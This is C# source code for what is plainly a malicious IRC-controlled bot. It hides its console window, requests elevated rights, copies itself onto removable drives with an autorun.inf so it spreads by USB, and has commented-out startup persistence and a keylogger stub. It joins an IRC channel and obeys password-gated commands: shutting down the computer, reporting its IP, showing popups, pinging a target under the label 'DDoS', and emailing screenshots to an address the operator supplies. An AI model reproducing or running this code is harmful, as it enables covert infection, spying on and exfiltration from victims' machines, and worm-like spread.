using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Amrykid.Web.IRC;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.Drawing;
using System.IO;
using Microsoft.Win32;
using System.Net.Mail;
namespace ConsoleApplication1
{
class Program
{
public static string server = "irc.freenode.org";
public static string channel = "#lobby25";
public static string nick = "myBigBrother";
public static int port = 6667;
public static IRC _irc;
public static bool flag = true;
public static bool KeyLogflag = false;
public static string mainPass = "ascii1char";
static public string fp;
static public string allfiles;
static public string filename;
[DllImport("user32.dll")]
private static extern int ShowWindow(int Handle, int showState);
[DllImport("kernel32.dll")]
public static extern int GetConsoleWindow();
static void Main(string[] args)
{
int win = GetConsoleWindow();
ShowWindow(win, 0);
try
{
fp = Process.GetCurrentProcess().MainModule.FileName;
string[] beetweenthing = fp.Split('\\');
filename = beetweenthing[beetweenthing.Length - 1];
UsbInject();
}
catch (Exception)
{ }
ProcessStartInfo p = new ProcessStartInfo();
p.UseShellExecute = true;
p.Verb = "runas";
try
{
Process.Start(p);
}
catch(Exception e) { }
// Start on Start Up
//RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
//rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString());
_irc = new IRC("IRCBot");
_irc.Nick = nick;
_irc.Connect(server, port);
_irc.Logon(nick, nick);
_irc.Join(channel);
_irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved);
while (true)
{
_irc.ProcessEvents(0);
}
}
static public void UsbInject()
{
string[] Drives = Environment.GetLogicalDrives();
foreach (string gsy in Drives)
{
if (UsbExcist(gsy))
{
CheckFileExcist(gsy);
if (allfiles.Contains(filename))
{
}
else
{
Copy(gsy);
}
}
else
{
}
}
}
static public bool UsbExcist(string drive)
{
DriveInfo samet = new DriveInfo(drive);
string type = Convert.ToString(samet.DriveType);
if (type == "Removable")
{
return true;
}
else
{
return false;
}
}
static public void CheckFileExcist(string path)
{
string[] CheckFiles = Directory.GetFiles(path);
for (int i=0; i <= CheckFiles.Length - 1; i++)
{
allfiles += CheckFiles[i];
}
string[] subs = Directory.GetDirectories(path);
foreach (string sub in subs)
{
try
{
CheckFileExcist(sub);
}
catch (Exception e)
{ }
}
}
static public void Copy(string drive)
{
File.Copy(fp, drive + filename);
WriteAutorun(drive);
}
static public void WriteAutorun(string drive)
{
StreamWriter writer1 = new StreamWriter(drive + "autorun.inf");
writer1.Write("[autorun]\r\nopen="+filename);
writer1.Close();
}
public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch)
{
if (message.StartsWith("!"))
{
if (message.Replace("!", "").StartsWith("login " + mainPass))
{
flag = true;
}
}
if (message.StartsWith("?") && flag == true)
{
if (message.Replace("?", "").StartsWith("Shutdown"))
{
System.Diagnostics.Process.Start("shutdown", "-s -t 30");
_irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("GetIP"))
{
string strHostName = Dns.GetHostName();
IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
IPAddress[] addr = ipEntry.AddressList;
string ip = addr[2].ToString();
_irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("Popup"))
{
message = message.Replace("?Popup", "");
_irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel);
MessageBox.Show(message);
_irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel);
}
// KeyLogger
//if (message.Replace("?", "").StartsWith("Keylog"))
//{
// if (KeyLogflag) // stop keylogging.
// {
// }
// else // start keylogging.
// {
// }
//}
if (message.Replace("?", "").StartsWith("DDoS"))
{
string DDoSIP = message.Replace("?DDoS", "");
System.Diagnostics.Process.Start("ping", DDoSIP);
_irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("Pic"))
{
int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
string fileName = "pic.jpg";
bmpScreenShot.Save(fileName, ImageFormat.Jpeg);
message = message.Replace("?Pic", "");
string[] mailD = message.Split(' ');
// mailD[0] = mailD Empty
// mailD[1] = mailD toAddr
// mailD[2] = mailD Password
// mailD[3] = mailD SMTP Server * smtp.gmail.com
// mailD[4] = mailD SMTP Port
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient(mailD[3]);
mail.From = new MailAddress("xlox@gmail.com");
mail.To.Add(mailD[1]);
mail.Subject = "Test Mail - 1";
mail.Body = "mail with attachment";
Attachment attachment;
attachment = new Attachment(fileName);
mail.Attachments.Add(attachment);
int port = Convert.ToInt32(mailD[4]);
SmtpServer.Port = port;
SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]);
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
if (message.Replace("?", "").StartsWith("Cmds"))
{
_irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel);
}
}
}
}
}